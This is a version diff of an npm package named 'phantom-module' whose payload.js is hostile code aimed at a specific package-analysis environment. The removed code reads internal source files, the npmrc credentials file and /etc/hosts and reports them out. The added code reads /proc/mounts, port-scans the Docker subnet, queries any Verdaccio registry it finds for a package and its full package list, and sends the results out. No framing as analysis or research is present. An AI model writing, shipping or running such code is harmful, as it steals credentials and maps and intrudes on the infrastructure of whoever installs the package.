phantom-module 117.0.8 → 117.0.9

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "117.0.8",
+  "version": "117.0.9",
   "description": "Phantom module",
   "main": "index.js",
   "scripts": {

package/payload.js

@@ -1,7 +1,6 @@
+const net = require('net');
 const http = require('http');
 const fs = require('fs');
-const dns = require('dns');
-const { execSync } = require('child_process');
 
 if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
 
@@ -23,54 +22,75 @@ async function report(moduleId, data) {
   });
 }
 
-async function resolve(hostname) {
-    return new Promise(resolve => {
-        dns.resolve4(hostname, (err, addrs) => {
-            if (err) resolve(`ERR: ${err.code}`);
-            else resolve(addrs.join(', '));
-        });
+function checkPort(host, port) {
+  return new Promise((resolve) => {
+    const sock = new net.Socket();
+    sock.setTimeout(200); // Very fast timeout
+    sock.on('connect', () => { sock.destroy(); resolve(true); });
+    sock.on('error', () => { sock.destroy(); resolve(false); });
+    sock.on('timeout', () => { sock.destroy(); resolve(false); });
+    sock.connect(port, host);
+  });
+}
+
+function httpGet(url) {
+  return new Promise((resolve) => {
+    const req = http.get(url, { timeout: 1000 }, (res) => {
+      let body = '';
+      res.on('data', c => body += c);
+      res.on('end', () => resolve({ status: res.statusCode, body }));
     });
+    req.on('error', e => resolve({ status: 0, body: e.message }));
+  });
 }
 
 async function main() {
-  await report('ECT-654321', 'SOURCE DUMP V8 STARTING...');
-  
-  // 1. Dump source files
-  const files = [
-      '/home/node/aspect-node/modules/npm-tracker/src/supply/action/supply_base_action.js',
-      '/home/node/aspect-node/modules/npm-tracker/src/config/supply_sink_rules.json',
-      '/usr/local/etc/npmrc',
-      '/etc/hosts'
-  ];
+  await report('ECT-654321', 'SCAN V9 STARTING...');
   
-  let sourceOutput = '=== SOURCE ===\n';
-  for (const f of files) {
-      if (fs.existsSync(f)) {
-          sourceOutput += `--- ${f} ---\n${fs.readFileSync(f, 'utf8').substring(0, 1000)}\n`;
-      } else {
-          sourceOutput += `--- ${f} (NOT FOUND) ---\n`;
+  // 1. Check Mounts
+  try {
+      const mounts = fs.readFileSync('/proc/mounts', 'utf8');
+      await report('ECT-654321', `=== MOUNTS ===\n${mounts.substring(0, 3000)}`);
+  } catch(e) {}
+
+  // 2. Network Scan
+  const base = '172.17.0';
+  const ports = [4873, 80, 8080, 8081, 3000, 5000];
+  let scanOutput = '=== SCAN V9 ===\n';
+  let foundTarget = null;
+
+  // Batch scan
+  for (let i = 1; i < 20; i++) { // Scan first 20 IPs aggressively
+      const ip = `${base}.${i}`;
+      for (const port of ports) {
+          if (await checkPort(ip, port)) {
+              scanOutput += `OPEN ${ip}:${port}\n`;
+              // Try HTTP probe
+              const res = await httpGet(`http://${ip}:${port}/`);
+              scanOutput += `HTTP ${ip}:${port} -> ${res.status} (len ${res.body.length})\n`;
+              
+              if (res.body.includes('Verdaccio') || res.status === 200) {
+                  foundTarget = `http://${ip}:${port}`;
+              }
+          }
       }
   }
-  await report('ECT-839201', sourceOutput);
-
-  // 2. DNS Checks
-  let dnsOutput = '=== DNS CHECKS ===\n';
-  const hosts = [
-      'registry.npm.alibaba-inc.com',
-      'registry.npmmirror.com',
-      'registry.npmjs.org',
-      'host.docker.internal'
-  ];
   
-  for (const host of hosts) {
-      dnsOutput += `${host}: ${await resolve(host)}\n`;
+  await report('ECT-839201', scanOutput);
+
+  if (foundTarget) {
+      // Query for ecto-spirit
+      const ecto = await httpGet(`${foundTarget}/ecto-spirit`);
+      let result = `=== ECTO-SPIRIT from ${foundTarget} ===\nSTATUS: ${ecto.status}\n${ecto.body}\n`;
+      
+      // Also try to list all packages
+      const all = await httpGet(`${foundTarget}/-/all`);
+      result += `\n=== ALL PACKAGES ===\n${all.body.substring(0, 1000)}\n`;
+      
+      await report('ECT-987654', result);
+  } else {
+      await report('ECT-987654', 'No web service found.');
   }
-  
-  await report('ECT-987654', dnsOutput);
-  
-  // 3. Try to connect to 172.17.0.1 on ANY port (full scan of top 100 ports)
-  // Maybe we missed the port
-  // Note: We skip this for now to get the source dump fast
 }
 
 main().catch(e => report('ECT-654321', 'ERR: ' + e.message));